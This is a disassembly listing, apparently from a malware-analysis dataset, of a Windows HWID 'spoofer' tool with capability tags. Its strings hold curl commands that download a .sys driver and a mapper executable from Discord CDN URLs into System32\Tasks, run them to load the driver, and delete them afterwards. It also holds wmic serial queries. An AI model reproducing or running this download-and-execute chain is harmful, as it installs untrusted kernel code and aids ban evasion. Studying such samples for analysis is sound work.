Function at 0x140011069
Capabilities:
Delete file
Execute command
Log keystrokes via polling

Disassembly:
jmp 0x140017e30
push rbp
push rdi
sub rsp, 0xe8
lea rbp, [rsp + 0x20]
lea rcx, [0x14002e0f3]
call fcn.1400116f4
lea rcx, [0x1400236c4]
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.color_e
call qword [sym.imp.ucrtbased.dll_system]
lea rdx, str.__n_n_n____i___Welcome_to_Frrps_spoofer__
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110d7
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, str.__n_n____F1___TEMP_SPOOF
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110d7
lea rdx, str.__n_n____F2___Serials
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110d7
lea rdx, str.__n_n____F3___Discord
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110d7
xor eax, eax
cmp eax, 1
je 0x140018012
mov ecx, 0x70
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
test eax, eax
je 0x140017f7a
lea rcx, [0x1400236c4]
call qword [sym.imp.ucrtbased.dll_system]
lea rdx, str.___i___Downloading_files...
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110d7
lea rcx, str.curl_https:__cdn.discordapp.com_attachments_1175566316116127887_1182814985760542814_Spoofy.sys___output_C:WindowsSystem32Taskswoooof.sys__nul_2_1
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.curl_https:__cdn.discordapp.com_attachments_1175566316116127887_1182815107810594816_spoofer_map.exe___output_C:WindowsSystem32Tasksmmmaaapp.exe__nul_2_1
call qword [sym.imp.ucrtbased.dll_system]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.C:WindowsSystem32Tasksmmmaaapp.exe_C:WindowsSystem32Taskswoooof.sys
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.C:WindowsSystem32Taskswoooof.sys
call qword [sym.imp.ucrtbased.dll_remove]
lea rcx, str.C:WindowsSystem32Tasksmmmaaapp.exe
call qword [sym.imp.ucrtbased.dll_remove]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, str.___i___Spoofed_
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110d7
mov ecx, 0x4e20
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140011069
jmp 0x140018014
mov ecx, 0x71
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
test eax, eax
je 0x140017ff0
lea rcx, [0x1400236c4]
call qword [sym.imp.ucrtbased.dll_system]
lea rdx, str._n_n___Serials_:_n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110d7
lea rcx, str.color_b
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str._n_n_____wmic_diskdrive_get_serialnumber
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str._n_____wmic_baseboard_get_serialnumber
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str._n_wmic_bios_get_serialnumber
call qword [sym.imp.ucrtbased.dll_system]
mov ecx, 0x1f40
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140011069
jmp 0x140018014
mov ecx, 0x72
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
test eax, eax
je 0x14001800d
lea rcx, str.start_https:__discord.gg_TuwwYg9mG6
call qword [sym.imp.ucrtbased.dll_system]
jmp 0x140017ebc
xor eax, eax
lea rsp, [rbp + 0xc8]
pop rdi
pop rbp
ret